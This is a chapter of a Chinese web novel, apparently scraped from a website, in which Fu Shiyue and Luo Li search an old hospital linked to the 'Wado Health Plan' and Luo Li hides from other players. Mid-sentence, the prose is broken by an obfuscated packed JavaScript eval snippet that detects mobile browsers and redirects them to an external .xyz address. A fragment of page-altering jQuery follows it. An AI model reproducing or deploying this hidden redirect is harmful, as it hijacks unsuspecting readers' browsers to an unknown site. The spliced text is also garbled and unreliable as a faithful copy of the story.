“……政府医疗部发言人称,这种特殊病毒针剂正在尝试推行,目前第一批志愿者已经到位,该公益计划命名为‘瓦多健康计划’。” 傅时越说:“瓦多是阿伽门农选的名字。推行计划之初,就是在这所医院试点。” 提到阿伽门农,他不动声色地皱了下眉头。 海报上也有阿伽门农的照片。一身军装的男人绷紧唇线坐在一众高官政要的最前面,就算画面因为时间太久而模糊不清,也能感受到那在人群里近乎突兀的英俊威严。 那时候他已经有三十岁了吧。 低头一看,罗荔也在盯着那张照片瞧。小漂亮的眼睛亮亮的,趴在海报前很仔细地看,模样十分认真。 不管想不想承认,阿伽门农对他而言,肯定是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15733209|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不一样的存在。 他难道喜欢这种不苟言笑的老男人? 不。不可能。阿伽门农打了一辈子仗,从来没人敢把他和情爱挂钩,那种人是不可能懂罗荔的心思的。 傅时越眸光暗下来,揽住罗荔的腰,将他强行抱走。 罗荔在心里嘀咕,干嘛走那么快,他还没读完海报上的字呢。 走廊曲折弯绕,越走越让他犯迷糊,腿也有点酸了。 好想休息哦。 但是不行。万一让别人先找到瓦多,那就不好啦! 也不知道那些人现在找到哪里了…… “荔荔,你累了吗?” 傅时越握住他的小手,“那边有休息的地方,要不要坐一下?” 大厅比医院其他地方的陈设要豪华舒适许多,就算是外围也不例外,拐角处正好就是一间vip休息室。 罗荔眼前一亮,点了点头。 傅时越将他放在柔软的沙发上,听见少年的肚子咕咕叫了起来。 “我还有很多积分,你想吃什么?什么都可以。” 罗荔眨眨眼,脑中一瞬间已经想到很多种好吃的,正要狮子大开口,却听007提醒:“你最好不要吃玩家给的东西。” 对哦。要是对方给他吃了什么不该吃的就麻烦了。 于是忍下饥肠辘辘:“算了,我现在不想吃。” 傅时越脸上浮现出担忧:“把身体饿坏了就不好了。要不然……那边有自动贩卖机,买点能量饮料补充一下?” 罗荔瞄了一眼他指的方向。既然是医院自己的贩卖机,应该没关系吧? “好吧,那你去给我买。” 傅时越这才一笑,叮嘱他在休息室里乖乖的,自己马上就回来。 房门关紧,罗荔趴在沙发上打起滚。 休息室虽然豪华,可毕竟整座医院都已经老旧不堪,这里也已经没有多么隔音了。罗荔能听见外面钝钝的脚步声,夹杂一些交谈声音。 “……你确定痕迹是通向这边的?前面可是个死角。” “不是还有间休息室吗?进去看看不就知道了。” “我记得瓦多体型巨大,一个休息室,不可能容得下祂吧。” 罗荔心尖一动。 这声音…… 好像是凌屿他们! 他们要往这里来? 罗荔一下子慌了。眼看说话声越来越近,好像马上就到门前。 逃出房间已经来不及了,得想办法藏起来才行。 他回过头,看见房间尽头还有一扇小门,上面有卫生间的标志。 来不及想更多了,罗荔赶紧钻了进去,随后把门反锁。 这休息室的卫生间也很豪华,大小快赶上单独的一间病房了。只是只有进门处的一盏灯是完好的,再往里则一片漆黑。 罗荔不敢继续走了,在洗手台前停了下来。 面前是一面镜子。在这种环境下照镜子总有些发怵,他连忙移开目光。 可就在这一刹那,余光仿佛瞥见了身后的一个古怪身影。 昏暗的灯光下,只能看见那人模糊的衣着。 好像是……很陈旧的,像是工地上的人才会穿的衣服。 总感觉在哪里见过。 水龙头中滴落一滴水,落在罗荔的手背上。 他猛然清醒了过来。 对了。 这样的打扮,不是孟虎吗?